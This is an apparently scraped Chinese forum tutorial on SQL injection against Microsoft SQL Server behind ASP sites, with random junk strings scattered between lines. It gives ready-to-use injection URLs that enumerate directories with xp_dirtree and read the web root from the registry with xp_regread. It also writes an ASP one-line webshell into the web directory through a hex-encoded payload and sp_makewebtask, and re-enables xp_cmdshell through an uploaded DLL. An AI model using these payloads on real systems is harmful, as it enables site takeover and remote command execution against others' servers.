MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
# J* p7 U: s2 F2 E5 m+ u3 I. \假设我们在test里有两个文件夹test1和test2在test1里又有test3
. \/ {1 S/ ?' ]结果显示
5 A, A3 t; H& c, r
& j& }$ Y% ]6 f- w; [+ Q9 Q' i7 m; ]subdirectory depth
* X: f% P. P, K% N5 s$ n! R$ c2 Ltest1 1
test3 2
test2 1
5 `  T8 ~$ p4 U7 {. s( m/ Z
, ^& J# P7 X* g. H9 h) s哈哈发现没有那个depth就是目录的级数
ok了，知道怎么办了吧

http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
! I4 x5 k3 Z3 S+ S5 L8 d! f3 O+ thttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
: p- w, D' _# i& u8 P) A/ F# V
只要加上id＝1，就是第一级目录 。
5 O/ p* g- s$ D4 C* N" z

通过注册表读网站路径:

6 T+ [  n. U2 O2 g1.;create table [dbo].[cyfd] ([gyfd][char](255));

2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
. a6 u2 Z# b% \) Q0 d9 @# z
# y) v' o# |  p; K# i$ a; \- A# f0 \9 A3.and 1=(select count(*) from 临时表 where 临时字段名>1)
and 1=(select count(*) from cyfd where gyfd > 1)
8 i/ ~: W0 {7 s' t% I3 P1 g/ J( z1 q: @这样IE报错,就把刚才插进去的Web路径的值报出来了

/ \5 l  I: n4 |4.drop table cyfd;-- 删除临时表

获得webshell方法:
1.create table cmd (a image)-- \**cmd是创建的临时表
1 t# ]" V$ O4 A7 Q4 H9 D9 l! ?
, U9 I6 l: v9 @6 M4 W2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话

1 f6 c- P4 q+ y; H
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
* H0 h2 g5 J0 H  c0 d
4.drop table cmd;-- 删除cmd临时表

+ N9 Y7 P  _6 J2 |/ i+ P. |7 r恢复xp_cmdshell方法之一:
8 B! m! J' u% g% [) m' }/ N9 K我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
& J, F1 [! x, E0 Rhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
! T: C9 j. B& N恢复，支持绝对路径的恢复哦。：）